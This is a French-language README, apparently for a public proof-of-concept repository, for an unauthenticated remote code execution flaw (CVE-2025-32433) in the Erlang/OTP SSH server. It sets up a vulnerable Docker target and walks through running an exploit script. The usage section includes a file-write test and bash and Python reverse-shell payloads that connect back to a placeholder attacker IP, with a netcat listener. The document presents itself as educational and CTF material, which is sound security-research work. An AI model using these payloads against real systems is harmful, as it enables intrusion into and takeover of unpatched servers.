CVE-2025-32433 : Preuve de concept (PoC) de RCE non authentifié dans Erlang/OTP SSH

Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-32433, une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant l'implémentation du serveur SSH dans Erlang/Open Telecom Platform (OTP). Cette PoC est conçue à des fins éducatives, de recherche en sécurité et pour les défis Capture The Flag (CTF).

⚠️ Avertissement - Réservé à un usage éducatif et éthique ⚠️

Cette PoC est fournie strictement à des fins éducatives et de piratage éthique. Elle est destinée à une utilisation dans des environnements contrôlés, tels que des machines virtuelles isolées ou des plateformes CTF, où vous avez l'autorisation explicite d'effectuer des tests de sécurité.

NE PAS utiliser cette PoC contre un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite. L'accès non autorisé ou l'exploitation de systèmes informatiques est illégal et contraire à l'éthique. L'auteur et les mainteneurs de ce dépôt ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce code.

📊 Aperçu de la vulnérabilité

Détails techniques

La vulnérabilité réside dans la manière dont le serveur SSH Erlang/OTP traite les messages du protocole SSH pendant la phase de pré-authentification. Plus précisément, le serveur n'applique pas correctement la séquence du protocole SSH, permettant à un attaquant distant non authentifié d'envoyer des messages SSH_MSG_CHANNEL_OPEN et SSH_MSG_CHANNEL_REQUEST spécialement conçus. Cela permet à l'attaquant d'ouvrir un canal de session et d'exécuter des commandes Erlang arbitraires (qui peuvent à leur tour exécuter des commandes système) sans fournir d'identifiants valides. Si le démon SSH s'exécute avec des privilèges élevés (par exemple en tant que root), une exploitation réussie peut conduire à un compromis total du système.

🛠️ Installation : Construction de l'environnement vulnérable (Docker)

Le moyen le plus simple de configurer un serveur SSH Erlang/OTP vulnérable est d'utiliser le Dockerfile fourni.

1. Clonez ce dépôt :

   root@kitploit:~

   git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
   cd CVE-2025-32433-PoC
   

2. Construisez l'image Docker : Cette commande compile une version vulnérable de Erlang/OTP (OTP-26.2.5.10) et configure le serveur SSH.

   root@kitploit:~

   docker build -t erlang-ssh-vulnerable .
   

3. Exécutez le conteneur du serveur vulnérable : Cela démarre le serveur SSH Erlang/OTP en arrière-plan, écoutant sur le port 2222.

   root@kitploit:~

   docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
   

   • -d : Exécute le conteneur en mode détaché.
   • --name erlang-ssh-target : Attribue un nom au conteneur pour une gestion facile.
   • -p 2222:2222 : Mappe le port hôte 2222 sur le port conteneur 2222.

🚀 Utilisation : Exécution du script PoC

Le script cve_2025_32433_exploit.py peut être exécuté en mode interactif ou avec des arguments en ligne de commande.

Mode interactif

Si vous exécutez le script sans arguments, il vous demandera les informations nécessaires.

1. Assurez-vous que le conteneur Docker vulnérable est en cours d'exécution.
2. Exécutez le script Python PoC :
   root@kitploit:~

   python3 cve_2025_32433_exploit.py
   

3. Suivez les invites interactives : Le script demandera :
   • Adresse IP cible : (par exemple 127.0.0.1 si vous ciblez Docker sur la même machine).
   • Port cible : (par exemple 2222).
   • Commande à exécuter : (Laissez vide pour la commande de test par défaut).

Exemple 1 : Test de RCE en créant un fichier

Il s'agit du comportement par défaut si vous laissez l'invite de commande vide en mode interactif. Cela crée un fichier /tmp/note.txt sur la cible.

1. Exécutez l'exploit :
   root@kitploit:~

   python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
   

2. Vérifiez que le fichier a été créé sur la cible :
   root@kitploit:~

   docker exec -it erlang-ssh-target cat /tmp/note.txt
   

   Vous devriez voir la sortie : Exploit Ran!

Exemple 2 : Obtention d'un shell inverse (reverse shell)

Pour obtenir un shell inverse, vous devez fournir une charge utile qui se reconnecte à un écouteur sur votre machine.

1. Démarrez un écouteur Netcat sur votre machine attaquante (par exemple Kali Linux) sur le port de votre choix.

   root@kitploit:~

   nc -lvnp 4444
   

   Important : Assurez-vous que votre pare-feu (par exemple ufw) sur votre machine attaquante autorise les connexions entrantes sur ce port. sudo ufw allow 4444/tcp

2. Exécutez le script PoC avec la charge utile du shell inverse. Remplacez YOUR_ATTACKER_IP par l'adresse IP de votre machine.

   • Shell inverse Bash :

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
     

   • Shell inverse Python (souvent plus fiable) :

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
     

3. Vérifiez votre écouteur Netcat. Vous devriez recevoir une connexion et avoir un shell sur le conteneur cible.

🧹 Nettoyage

Pour arrêter et supprimer le conteneur et l'image Docker :

# Arrêter et supprimer le conteneur
docker stop erlang-ssh-target
docker rm erlang-ssh-target

# Optionnel : supprimer également l'image
docker rmi erlang-ssh-vulnerable